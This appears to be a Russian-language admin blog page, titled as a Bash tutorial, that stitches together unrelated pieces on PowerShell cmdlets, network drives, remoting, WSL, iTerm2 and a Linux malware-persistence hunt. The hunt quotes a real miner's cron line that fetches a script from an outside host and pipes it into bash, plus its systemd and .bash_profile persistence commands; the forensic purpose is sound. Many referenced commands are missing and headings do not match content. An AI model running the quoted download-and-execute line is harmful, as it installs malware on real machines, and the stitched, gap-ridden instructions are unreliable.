Bash-скрипты, часть 10: практические примеры

Командлеты в PowerShell

Данные команды являются частью языка PowerShell. Командлеты построены по принципу «Глагол-Существительное», разделенные дефисом (-); другими словами, мы сначала указываем, что делать, а через дефис — над чем. Например, командлет Get-Help, где Get — это глагол, означающий «Получить», а Help — существительное «Помощь» в контексте PowerShell «Показать – Справку». Командлеты PowerShell возвращают результаты в виде объектов, что является одним из главных отличий от командной строки Windows, в которой команды возвращают только текст на экран.

Кроме командлетов на получение данных (Get), существуют и такие типы командлетов как:

  • Add – добавление данных;
  • Clear – очистить;
  • Enable – включить;
  • Disable – выключить;
  • New – создать;
  • Remove – удалить;
  • Set – задать;
  • Start — запустить;
  • Stop – остановить;
  • Export – экспортировать;
  • Import – импортировать;
  • И еще много других.

Полный список командлетов в Windows PowerShell можно посмотреть с помощью специального командлета Get-Command. Например, запустите его с параметром -CommandType cmdlet, в итоге на экране у Вас отобразится список командлетов.

  
   Get-Command -CommandType cmdlet

Как Вы уже поняли, у командлетов есть параметры, с помощью которых мы можем конкретизировать действия командлета. Параметры бывают обязательные и необязательные, например, у командлета Get-Command обязательных параметров нет.

Ниже на картинке представлен способ поиска командлета по глаголу (параметр Verb). В данном случае у нас отобразился список командлетов, которые умеют что-то перезапускать.

Команда

  
   Get-Command -Verb Restart

Для поиска командлета по существительному необходимо использовать параметр Noun. Например, ниже мы получили список командлетов, которые работают со службами.

Команда

  
   Get-Command -Noun Service

Если Вы не нашли нужный командлет по полному названию можете использовать маску в формате *Текст*.

Подключение сетевых дисков

Проблемы с командами могут зависеть от версии вашего интерпретатора. Powershell 5-ой версии был предустановлен во всех версиях начиная с Windows 10 и Windows Server 2016. Если вы сомневаетесь в версии, то это можно проверить следующей командой:

New-SmbMapping

Самый простой способ подключить диски, используя команду New-SmbMapping, будет выглядеть следующим способом:

В этой команде используются следующие ключи:

LocalPath — локальный путь или буква, под которой будет подключен диск;

RemotePath — путь к папке через IP или DNS

В случае выше подразумевается, что у пользователя, который открыл консоль Powershell, есть права для подключения к этому пути
Важно так же обратить внимание на кавычки, если ваш путь содержит специальные символы;

Persistent — дословно переводится как ‘постоянный’, но в случае сетевых папок обозначает восстановление соединения после отключения сети/компьютера.. Пример выше специально демонстрирует проводник так как это одна из проблем этой команды в версии 5.1 — диск начнет отображаться в проводнике только после перезагрузки компьютера или перезапуске процесса ‘explorer.exe’

Пример выше специально демонстрирует проводник так как это одна из проблем этой команды в версии 5.1 — диск начнет отображаться в проводнике только после перезагрузки компьютера или перезапуске процесса ‘explorer.exe’.

Мы можем перезапустить процесс средствами Powershell. Выполнение этой команды, как минимум, закроет все открытые окна:

Так же у вас могут появиться другие ошибки, например следующие говорят об уже занятой букве:

  • New-SmbMapping : Имя локального устройства уже используется.
  • New-SmbMapping : The local device name is already in use.

Следующая ошибка произойдет, если вы указали слэш ‘\’ в конце пути или к нему нет доступа на уровне сети (фаерволла, dns, политик и т.д.):

New-SmbMapping : The network name cannot be found.

New-PSDrive

В отличие от предыдущего способа — у него нет проблем с проводником, но после перезагрузки компьютера подключение к диску пропадет. Как я прочитал в каких-то версиях Powershell это исправлено, в каких-то появились новые проблем. Один из способов сделать диск постоянным — будет рассмотрен ниже.

Подключить аналогичный диск можно следующим способом:

Где:

  • Name — путь, буква или любой другой идентификатор определяющий диск. Чаще всего это просто буква;
  • PSProvider — поставщик услуг. Всех поставщиков услуг можно увидеть через ‘Get-PSProvider’. В большинстве случаев поставщиком услуг для сетевых дисков будет ‘FileSystem’. В теории вы можете использовать поставщика «Registry» что бы в рамках сессии Powershell легче обращаться к какому-то пути. Поставщик услуг или ‘PSProvider’ — это условная программа, которая будет обрабатывать вашу команду между Powershell и Windows;
  • Root — путь до удаленной папки. Если бы в ‘PSProvider’ стоял ‘Registry’, то тут можно было указать путь следующего формата: ‘HKLM:\Software\Microsoft’;
  • Persist — должно ли восстанавливаться подключение при потере связи;
  • Scope — область действия диска. В этом случае не должно играть значение, но на форумах советуют использовать значение ‘Global’, если не получается подключать диск. Если бы вы использовали сетевой диск только для одно сессии Powershell — вы могли бы ограничить область видимости диска.

У вас могут появиться следующие ошибки:

  • New-PSDrive : The network resource type is not correct;
  • The specified network resource or device is no longer available.

Один из способов решения — убрать слэш в конце пути. Так же попробуйте открыть полный путь в проводнике так как ошибка может указывать на недоступность папки. Так же можете попробовать убрать параметр ‘Persist’, т.к. после этого ошибка может изменится и принять более понятный характер.

Рабочий способ сделать этот диск постоянным — отредактировать его через реестр. Ветка, под которой был подключен диск, будет иметь следующий путь »HKCU:\Network\G». «G» в конце — это буква под который был подключен диск. Мы можем вернуть существующие значения следующей командой:

Вам нужно обратить внимание на выделенные фрагменты. ‘DeferFlags’, в значении 4, обозначает, что диск подключается под логином и паролем аутентифицированного пользователя

1-ца говорит об обратном и, возможно, что пароль не указан. На одном из форумов писали, что это поле должно указывать на цифру 4 что бы команда успешно работала. Я наблюдал случаи с 1 и 4, но проблем не замечал.

Моя проблема была решена после указания 1 в поле ‘ConnectionType’. Значение 1 говорит, что будет выполняться перенаправление дисков. Установить это значение через Powershell можно так:

Фоновое исполнение заданий

В Windows PowerShell есть возможность фонового исполнения заданий, она представляет собой механизм, с помощью которого можно запустить на выполнение команду (например, которая долго выполняется) в фоновом режиме, т.е. после запуска Вы возвращаетесь в текущую сессию и можете продолжить работу, не дожидаясь окончания работы команды. Данная возможность Вам понадобится тогда, когда у Вас возникнет необходимость запустить команду, работа которой занимает достаточно продолжительное время, а как Вы знаете, в течение этого времени сессия оболочки PowerShell блокируется до завершения работы команды, а Вам нужно продолжать работать.

Всеми заданиями, которые запущенны в фоновом режиме, Вы можете управлять, например, посмотреть список заданий, остановить работу задания, удалить задание, и, конечно же, посмотреть результат работы задания.

В Windows PowerShell для работы с фоновыми заданиями есть следующие командлеты:

  • Start-Job – запустить фоновую задачу;
  • Stop-Job – остановить фоновую задачу
  • Get-Job – посмотреть список фоновых задач;
  • Receive-Job – посмотреть результат выполнения фоновой задачи;
  • Remove-Job – удалить фоновую задачу;
  • Wait-Job – перевести фоновую задачу на передний план, для того чтобы дожидаться ее окончания.

Для запуска в фоновом режиме необходимо написать команду Start-Job, а в фигурных скобках {} команду или набор команд, которые необходимо выполнить в фоновом режиме.

Например, давайте запустим какую-нибудь задачу (показать список служб) в фоновом режиме, затем посмотрим на список фоновых заданий и выведем на экран результат работы нашего задания (т.е. список служб).

Запуск задачи в фоновом режиме

  
   Start-Job {Get-Service}

Смотрим на список задач запущенных в фоновом режиме

  
   Get-Job

Отображаем результат работы задания Job1

  
   Receive-Job Job1

Как видим, у нас появилась задача со статусом «Completed», т.е. она уже выполнилась (просто Get-Service отрабатывает быстро).

Для того чтобы посмотреть результат работы фоновой задачи, т.е. командлета Get-Service, мы выполнили команду Receive-Job и передали ей имя задания (можно и значение идентификатора). В результате у нас отобразился список служб.

Требуется ли удаленное взаимодействие PowerShell для всех удаленных команд?

Нет. Несколько командлетов имеют параметр ComputerName , позволяющий получать объекты с удаленного компьютера.

Эти командлеты не используют удаленное взаимодействие PowerShell. Поэтому их можно использовать на любом компьютере, на котором работает PowerShell, даже если компьютер не настроен для удаленного взаимодействия PowerShell или компьютер не соответствует требованиям удаленного взаимодействия PowerShell.

К этим командлетам относятся следующие:

Чтобы найти все командлеты с параметром ComputerName , введите:

Чтобы определить, требуется ли для параметра ComputerName конкретного командлета удаленное взаимодействие PowerShell, см. Описание параметра. Чтобы отобразить описание параметра, введите:

Пример:

Для всех остальных команд используйте командлет.

Для чего нужен Bash

Основные преимущества

На данный момент разработано множество различных вариаций Bourne-Shell. Но, по сравнению с ними, командный интерпретатор Bash обладает рядом преимуществ.

  • Позволяет работать со структурами «[[» (в sh доступна только «[» с ограничениями).
  • Поддерживает работу с массивами в Линуксе.
  • Доступно множество расширений, выполненных по стандартам C, включая циклы с тремя аргументами «for((i=0;i<=3;i++))», возможность присваивать инкремент «+=» и многое другое.
  • Поддерживает синтаксис «<<<‘here strings’».
  • Работает с расширениями «.{png,jpg}».
  • Доступны алиасы для перенаправления, подобно «Csh», подобно «&|» для «2>&1 |» и «&>» для «> … 2>&1».
  • Поддерживает сопроцессы с перенаправлением «<>».
  • Огромный комплект расширений нестандартных конфигураций, включая изменение регистра.
  • Существенно увеличены возможности арифметики (правда, нет поддержки чисел с плавающей точкой).
  • Переменные «$RANDOM», «$SECONDS», «$PIPESTATUS» и «$FUNCNAME» в Bash являются расширениями.
  • Доступно огромное количества функций, обеспечивающих работу в интерактивном режиме. Хотя на поведение скриптов они не влияют.

Примеры применения

  • Вывести указанное количество строчек из лога.
  • Найти и составить выборку ключевых слов, сохранив их в новом файле.
  • Очистить экран терминала.
  • Приостановить работающие задачи и перезапустить ранее приостановленные.
  • Создать архив директории с файлами и отправить его на другой компьютер в одной сети через определенный сетевой протокол.
  • Произвести настройку системы создания резервных копий файлов баз данных, используя дампинг.
  • Послать запрос о конфигурации других компьютеров в сети. Отправить файл с собранной информацией на электронную почту.
  • Найти на диске дублированные файлы, отобразить их список и выполнить запрос их удалить.
  • Рекурсивно заменить владельцев указанных файлов и папок.

Можно ли запускать программы Windows на удаленном компьютере?

Для запуска программ на основе Windows на удаленных компьютерах можно использовать удаленные команды PowerShell.
Например, можно запустить или на удаленном компьютере.

Однако нельзя использовать команды PowerShell для открытия пользовательского интерфейса для любой программы на удаленном компьютере.

При запуске программы Windows на удаленном компьютере команда не завершается, и Командная строка PowerShell не возвращается, пока программа не будет завершена или пока не будет нажата клавиша CTRL + C для прерывания команды. Например, если запустить программу на удаленном компьютере, Командная строка не вернется, пока не завершится.

При использовании удаленных команд для запуска программы с пользовательским интерфейсом запускается процесс, но пользовательский интерфейс не отображается. Команда PowerShell не завершена, и Командная строка не будет возвращаться до тех пор, пока не будет остановлен процесс программы или пока не нажата клавиша CTRL + C, которая прерывает выполнение команды и останавливает процесс.

Например, если для запуска на удаленном компьютере используется команда PowerShell, процесс «Блокнот» запускается на удаленном компьютере, но пользовательский интерфейс блокнота не отображается. Чтобы прервать выполнение команды и восстановить командную строку, нажмите клавиши CTRL + C.

Чем ZSH лучше Bash?

У ZSH слишком много функций, чтобы перечислять их здесь, часть из них — лишь незначительные улучшения в Bash, но вот некоторые из основных:

  • Автоматический cd: просто введите имя каталога
  • Рекурсивное расширение пути: например, «/u/lo/b» заменяется на «/usr/local/bin»
  • Исправление орфографии и приблизительное завершение: если вы допустили незначительную ошибку при вводе имени каталога, ZSH исправит её за вас.
  • Поддержка плагинов и тем: ZSH включает множество различных фреймворков плагинов.

Поддержка плагинов и тем, вероятно, самая крутая функция ZSH, и на этом мы сосредоточимся здесь.

Могу ли я только Telnet на удаленном компьютере?

С помощью командлета можно запустить интерактивный сеанс с удаленным компьютером.

В командной строке PowerShell введите следующую команду:

Командная строка изменится, чтобы отображалось подключение к удаленному компьютеру.

Теперь команды, которые вы вводите, выполняются на удаленном компьютере так же, как и при их вводе непосредственно на удаленном компьютере.

Чтобы завершить интерактивный сеанс, введите:

Интерактивный сеанс — это постоянный сеанс, использующий протокол WS-Management. Это не то же самое, что и Telnet, но обеспечивает аналогичную работу.

Для получения дополнительной информации см. .

Поиск следов закрепления вредоносного ПО

Поиск недавно созданных файлов

Инструментарий:

  • Практические примеры использования команды find в Linux
  • Команда find: поиск в файловой системе по любым свойствам файла

Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:

find /bin/ -mtime -1

Вывод:

  • /bin/
  • /bin/sysdr
  • /bin/bprofr
  • /bin/crondr
  • /bin/core_perl

Выделенные файлы — это вирусы (проверил на virustotal.com).

Чтобы найти все файлы, которые были изменены ровно 50 дней назад:

find / -mtime 50

Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:

find / -atime 50

Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:

find / -mtime +50 -mtime -100

Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:

find / -cmin -60

Чтобы найти файлы, которые были модифицированы за последний час:

find / -mmin -60

Чтобы найти все файлы, доступ к которым был сделан за последний час:

find / -amin -60

Поиск служб в автозагрузке

Инструментарий:

  • Как использовать Systemctl для управления службами Systemd и юнитами
  • Как в Linux добавить программу в автозагрузку

Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:

systemctl list-unit-files | grep enabled

Посмотрите на две службы с именами:

  • pwnrige.service
  • pwnrigl.service

На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.

Можно посмотреть, что там внутри:

sudo systemctl edit pwnrige.service
sudo systemctl edit pwnrigl.service

Или так:

cat /etc/systemd/system/pwnrige.service
cat /usr/lib/systemd/system/pwnrigl.service

Следующая строка

/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null'

Говорит нам о том, что файл вируса спрятан в /bin/sysdr.

Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:

find /etc/systemd/system/ /usr/lib/systemd/system/ -mtime -1

Знакомые нам файлы:

  • /etc/systemd/system/pwnrige.service
  • /usr/lib/systemd/system/pwnrigl.service

Поиск по содержимому файлов (по тексту)

Инструментарий:

Регулярные выражения и команда grep

Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:

grep --color -E '(sysdr)|(cp )' /etc/systemd/system/* /usr/lib/systemd/system/* 2>/dev/null

Расписания задач Cron

Инструментарий:

Как вывести все задачи Cron

Следующие две команды покажут содержимое задач Cron для всех пользователей:

for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null | grep -v '^#'; done

Более гибкий вариант, не рассчитывает на имена пользователей:

grep '*' --color /etc/anacrontab /var/spool/cron/crontabs/* /var/spool/cron/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/* /etc/cron.d/* /etc/init.d/down 2>/dev/null

Обратите внимание, как прочно укоренился вирус в системе:

(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /xms; bash /xms; /xms; rm -rf /xms

Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:

  • /etc/cron.d/root
  • /etc/cron.d/nginx
  • /etc/cron.d/apache
  • /var/spool/cron/root

Автоматически выполняемые скрипты

Инструментарий:

Различия между Login shell и Non login shell (оболочка с входом и оболочка без входа)

В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.

Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:

  • /etc/profile
  • /etc/profile.d/*
  • ~/.bash_profile
  • ~/.bashrc
  • /etc/bashrc

Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:

sudo grep --color '.*' /etc/profile /etc/profile.d/* /home/*/.bash_profile /home/*/.bashrc /etc/bashrc /root/.bash_profile /root/.bashrc

Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:

cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null

Безопасность

Как уже отмечалось, использование сценариев VBScript/JScript представляет потенциальную опасность для системы — для их исполнения достаточно щелкнуть по значку мышью. Опасность еще более возрастает, если пользователь вошел под учетной записью, входящей в группу администраторов. В PowerShell скрипт с расширением невозможно запустить на исполнение с помощью мыши — в системе такой файл будет открыт не в командной оболочке, а в Блокноте. Для запуска сценария необходимо запустить саму оболочку PowerShell, ввести имя файла и нажать клавишу Enter.

В новой оболочке так же невозможна подмена команд. Суть этого приема, применяемого злоумышленниками, заключается в следующем. Обычно у пользователя, не имеющего прав администратора, есть некоторые папки с разрешениями на запись и выполнение файлов. Характерный пример — папка C:\Documents and Settings\имя_пользователя. Вредоносная программа создает в такой папке исполняемый файл с именем, совпадающим с именем команды оболочки или именем исполняемой системной программы. К примеру, я создал в «своей» папке документов ipconfig.vbs, выводящий простое сообщение. Теперь, если, запустив cmd.exe, и находясь в своей папке, я попытаюсь выполнить команду , то получу вот такой результат:
Для полноты иллюстрации можно поместить в папку с документами и исполняемый файл, переименованный в нашем случае в ipconfig.exe. Тогда даже при вызове с указанием расширения будет запускаться файл из текущей папки, а не из \system32. С PowerShell такой фокус не пройдет — для вызова скрипта, путь к которому не совпадает с путями, заданными в системной переменной %Path, необходимо явно указать его расположение. Даже в том случае, когда скрипт расположен в папке, являющейся для оболочки текущей, необходимо указать путь в таком виде: .\имя_файла. Точка с обратным слешем указывают интерпретатору на текущую папку.

Еще одним механизмом обеспечения безопасности является политика выполнения сценариев. Изначально оболочка настроена так, что даже при правильном вызове сценария его выполнение будет запрещено, а пользователь получит соответствующее сообщение. Политика выполнения может переключаться в один из четырех режимов:

  • Restricted — настройка по умолчанию, запуск любых сценариев запрещен
  • AllSigned — разрешен запуск сценариев, имеющих цифровую подпись надежного издателя; сценарии, созданные пользователем, также должны быть заверены центром сертификации
  • RemoteSigned — разрешен запуск сценариев, если они не являются доверенными, но созданы локальным пользователем; сценарии, загруженные из Интернета, не имеющие подписи, не исполняются
  • Unrestricted — разрешен запуск любых сценариев

Текущий режим политики можно узнать, выполнив команду в оболочке. Для изменения режима выполните команду с необходимым названием политики в качестве параметра.

Также к инструментам, помогающим повысить безопасность при работе с PowerShell, я бы отнес параметры команд из разряда «а что будет, если…». Их два — и . Первый позволяет определить, какое действие и с каким объектом будет произведено, однако само действие реализовано не будет. Что-то вроде моделирования. Второй перед выполнением действия будет запрашивать подтверждения пользователя, и в случае утвердительного ответа — запускать необходимую команду фактически. То есть, такой вид подстраховки.

Приведу, пожалуй, наиболее яркий и забавный пример использования этих параметров. Если пользователь попытается выполнить команду:

то через несколько секунд его будет ждать синий экран со STOP-ом. PowerShell, как и следует из текста команды, последовательно начнет «прибивать» все запущенные в системе процессы, что и приведет к ее критическому останову. Если же запустить:

ничего страшного не произойдет — просто PowerShell покажет, что бы он сделал, если бы команда выполнялась без ключа :

Устранение неполадок при неотвечающем взаимодействиях

В этом разделе обсуждаются проблемы удаленного взаимодействия, препятствующие выполнению команды и предотвращению или задержке возврата командной строки PowerShell.

Прерывание команды

некоторые программы машинного Windows, такие как программы с пользовательским интерфейсом, консольные приложения, запрашивающие входные данные, и консольные приложения, использующие API консоли Win32, не работают должным образом на удаленном узле PowerShell.

При использовании этих программ может возникнуть непредвиденное поведение, например отсутствие выходных данных, частичный вывод или удаленная команда, которая не завершена.

Чтобы завершить работу программы, не отвечающей, введите CTRL + C. Чтобы просмотреть сообщения об ошибках, которые могли быть получены, введите локальный узел и удаленный сеанс.

Как в Linux открыть файл Windows

Все диски компьютера смонтированы в папке /mnt/. Например, диск C:/ смонтирован по пути /mnt/c

Чтобы посмотреть содержимое диска C:/ выполните команду:

ls -l /mnt/c

Отсюда вы можете получить доступ к любому файлу пользователей или системы.

К примеру, я хочу просмотреть содержимое файла с именем 123.reg, который расположен в папке C:\Users\MiAl\Documents\, то есть в Windows путь до этого файла C:\Users\MiAl\Documents\123.reg. Тогда в Linux этот файл будет доступен по пути /mnt/c/Users/MiAl/Documents/123.reg:

cat /mnt/c/Users/MiAl/Documents/123.reg

Обратите внимание, что в Linux:

  • используются слэши, а не обратные слэши, как в Windows
  • регистр букв имеет значение. То есть file.txt и File.txt это совершенно разные вещи.

Запуск PowerShell от имени другого пользователя

Ответственный администратор всегда имеет две учетные записи, первая обладает минимальными правами рядового пользователя, для повседневных задач. Вторая уже имеет нужные административные привилегии, из под которой он выполняет настройки серверов и всего сопутствующего. В операционных системах Windows есть функционал, который позволяет вам находясь в сессии одного пользователя, запустить приложение от имени другого, у которого более расширенные права. Так в сессии обычного пользователя, системный администратор запускает оболочку PowerShell от имени пользователя с другими правами и спокойно управляет, чем хочет.

Чтобы запустить PowerShell от имени другого пользователя вам необходимо зажать кнопку SHIFT, после чего щелкнуть правым кликом мыши по значку PowerShell, из контекстного меню выбрать пункт «Запуск от имени другого пользователя»

Вводите логин и пароль от нужной вам учетной записи. В результате чего оболочка будет работать в контексте другого пользователя.

так же вы можете запускать новое окно PowerShell из текущего окна пользователя, но с уже новыми правами, для этого введите команду:

start powershell -credential «»

В окне запроса учетной записи, указываем логин и пароль, от той учетной записи, которая имеет нужные вам права для дальнейшей вашей работы.

Как получить доступ к службам Windows из Linux на WSL

Рассмотрим другой вариант — на Windows запущен сервер (веб, FTP и пр.) или сетевая служба, можно ли к ней подключиться из Linux на WSL? Можно! Нам нужно знать IP адрес Windows в виртуальной сети, созданной для WSL.

Из Linux этот IP адрес можно посмотреть командой:

ip route show default

IP адрес Windows это 172.26.160.1.

В самой Windows также можно посмотреть этот IP, причём как минимум двумя способами.

В терминале с помощью команды:

ipconfig

В графическом интерфейсе, в Диспетчере задач на вкладке «Производительность»:

Теперь используйте этот IP адрес для подключения к веб-серверу, FTP или любой другой службе Windows из Linux на WSL.

Как начать пользоваться

iTerm2 можно разделить на множество окон по горизонтали или вертикали и работать сразу в нескольких независимых сессиях.

Правая кнопка мыши → Split Pane Vertically или Split Pane Horizontally

Если случайно закроете терминал, то у вас будет пять секунд на отмену действия — нажимаете комбинацию клавиш Command+ Z, и сессия восстанавливается. 

Комбинация Command+Shift + H позволяет посмотреть, кто и когда вставлял в терминал какой-то текст — информация сортируется по объёму и времени копирования. Обычный буфер обмен отслеживает только последнее действие.

Копируем в терминал куски случайного текста и всегда можем найти нужный фрагмент

Можно включить левую боковую панель и упорядочить расположение вкладок — это упрощает навигацию и позволяет видеть несохраненные изменения. Если в какой-то вкладке будут несохранённые изменения, то в боковой панели на ней засветится синий круг. Для большей наглядности вкладки можно раскрасить разным цветом, каждая из которых будет соответствовать своему проекту. 

iTerm2 → Preferences → Apperance → Tab bar location → Left. Если вместо Left выбрать значения Top или Botton, то вкладки отобразятся, как в браузере, сверху или снизу окна

Если для проекта понадобятся картинки, то их можно вставить в терминал: 

  1. Перейдите в меню и нажмите iTerm2. 
  2. Выберите Install Shell Integration и установите расширение: Continue → Dowload and Run Installer → Continue. 
  3. Перезапустите iTerm2. 

Остаётся прописать команду и путь в выбранной картинке — мы расположили картинку на рабочем столе и сохранили её под названием Test. 

 Прописываем путь к картинке:

Открываем картинку в терминале:

Ничего необычного: просто картинка в терминале

iTerm2 может отображать дополнительные параметры вроде состояния батареи, часов, состояния оперативки и другую вспомогательную информацию — это позволяет раскрыть терминал на всю ширину окна и не тратить время на переключение между вкладками. Опция называется Configure Status Bar: 

  1. Перейдите в меню и нажмите iTerm2 → Preferences → Profiles → Session. 
  2. Поставьте галочку напротив пункта Status bar enabled. 
  3. Выберите нужные параметры и сохраните изменения. 

Если изменения не появятся — перезапустите терминал.

Выбираем состояние батареи, дату и времяРаскрываем iTerm2 на всю ширину и можем отслеживать выбранные параметры

Сценарии, функции и модули в Windows PowerShell

Если Вы написали некий алгоритм, скорей всего Вы захотите сохранить его, для того чтобы в дальнейшем им пользоваться. В Windows PowerShell для этих целей существует механизм использования сценариев.

Суть данного механизма следующая, Вы пишите нужный Вам набор команд и сохраняете его в качестве сценария — это простой текстовый файл с расширением .PS1.

Затем, для того чтобы выполнить этот сценарий, Вы просто запускаете его в оболочке PowerShell. При этом Вам необходимо либо указать полный путь к файлу сценария, либо перейти в каталог со сценарием и вызвать его по имени.

Важно!

По умолчанию выполнение сценариев в Windows запрещено! Для того чтобы посмотреть политику выполнения сценариев выполните командлет Get-ExecutionPolicy. В результате он вернет действующую политику, например:

  • Restricted – блокируется выполнение любых сценариев (значение по умолчанию);
  • AllSigned – разрешено выполнение сценариев, которые имеют цифровую подпись;
  • RemoteSigned – разрешено выполнение локальных сценариев, все скачанные сценарии должны иметь цифровую подпись;
  • Unrestricted — разрешено выполнение любых сценариев (не рекомендуется, так как небезопасно!).

Для разрешения выполнения сценариев необходимо использовать командлет Set-ExecutionPolicy с одним из вышеперечисленных параметров.

Например, для разрешения выполнения локальных сценариев выполним следующую команду, и согласимся с внесением изменений, нажав Y.

  
   Set-ExecutionPolicy RemoteSigned

В сценарии можно передавать параметры, делать их обязательными или задавать значение по умолчанию.

В Windows PowerShell предусмотрен механизм создания собственных функций, которые также как и встроенные командлеты можно будет использовать в оболочке PowerShell.

Для этого необходимо указать ключевое слово Function и затем в фигурных скобках {} написать алгоритм работы этой функции, т.е. набор команд (например, какая-нибудь часто используемая процедура: создать пользователя с определенными правами, очистить определенные каталоги и так далее). Потом необходимо сохранить все это в сценарий, но только уже с расширением .psm1, так как этот файл будет являться уже модулем.

Это еще не все, этот файл необходимо поместить в каталог, в котором PowerShell ищет модули. Таких каталогов несколько (специальный каталог в профиле пользователя, каталог, где установлен PowerShell), их можно посмотреть в переменных окружения PowerShell. Для этого выполните следующую команду

  
   Get-ChildItem Env:\PSModulePath | Format-Table -AutoSize

После того как Вы поместите написанный Вами модуль в специальный каталог, Вы сможете обращаться к своим функциям как к обычным командам PowerShell.

Что способствовало появлению Windows PowerShell?

До появления PowerShell существовали (и существуют) следующие инструменты для автоматизации и администрирования сервисов: командная строка Windows и Windows Script Host. Но у этих технологий есть недостатки.

У командной строки Windows есть и возможность выполнять какие-то административные задачи и возможность записать алгоритм действий, сохранив его в виде скрипта (bat-файла), при этом можно использовать некие элементы программирования, например, использовать переменные, условные конструкции и даже что-то вроде циклов.

Большинство программных продуктов имеет консольный интерфейс, т.е. мы можем управлять программой, используя командную строку, при этом экономя ресурсы за счет отсутствия затрат на работу графического интерфейса. Компания Microsoft для серверной операционной системы Windows Server даже выпускает редакции без графического интерфейса (Server Core, в Windows Server 2019), но всего этого недостаточно, так как возможности командной строки ограничены, т.е. написать какую-то сложную логику для автоматизации чего-либо мы не сможем, а если и сможем, то на это нам потребуется время и знания.

Также недостатком командной строки является то, что для полноценного управления сервером мы используем различные консольные утилиты программных продуктов, и поэтому использовать командную строку для администрирования на самом деле сложно, с точки зрения того, что у всех этих утилит разный синтаксис, параметры, методы использования и для того чтобы выполнять типовые задачи, т.е. каждодневные, приходиться держать все это в памяти, а для выполнения нетиповых задач приходиться сначала почитать справку или документацию.

Технология Windows Script Host позволяет выполнять все административные задачи, что и командная строка, включая их автоматизацию путем написания WSH скриптов, но здесь мы уже можем использовать полноценные языки программирования (VBScript и JScript), т.е. можно реализовывать сложную логику и алгоритмы. К тому же с помощью WSH мы управляем программными продуктами через объектный интерфейс, другими словами Windows Script Host намного «круче» чем командная строка. Но данная технология также не стала тем идеальным инструментом администрирования и автоматизации этого администрирования для системных администраторов, так как Windows Script Host требовал знаний вышеперечисленных языков программирования, что для системных администраторов на самом деле лишнее. Администраторам нужно всего лишь простой инструмент администрирования с возможностью запрограммировать какие-то действия, а углубляться в объектные модели программных продуктов на языках программирования VBScript и JScript им не хочется.

В итоге компании Microsoft необходимо было разработать такой инструмент администрирования для системных администраторов, который бы на 100 процентов удовлетворял все потребности сисадминов как в плане возможностей администрирования и автоматизации, так и в плане удобства и простоты использования, таким образом, появился Windows PowerShell.

Рейтинг
( Пока оценок нет )
Понравилась статья? Поделиться с друзьями:
Все про сервера
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: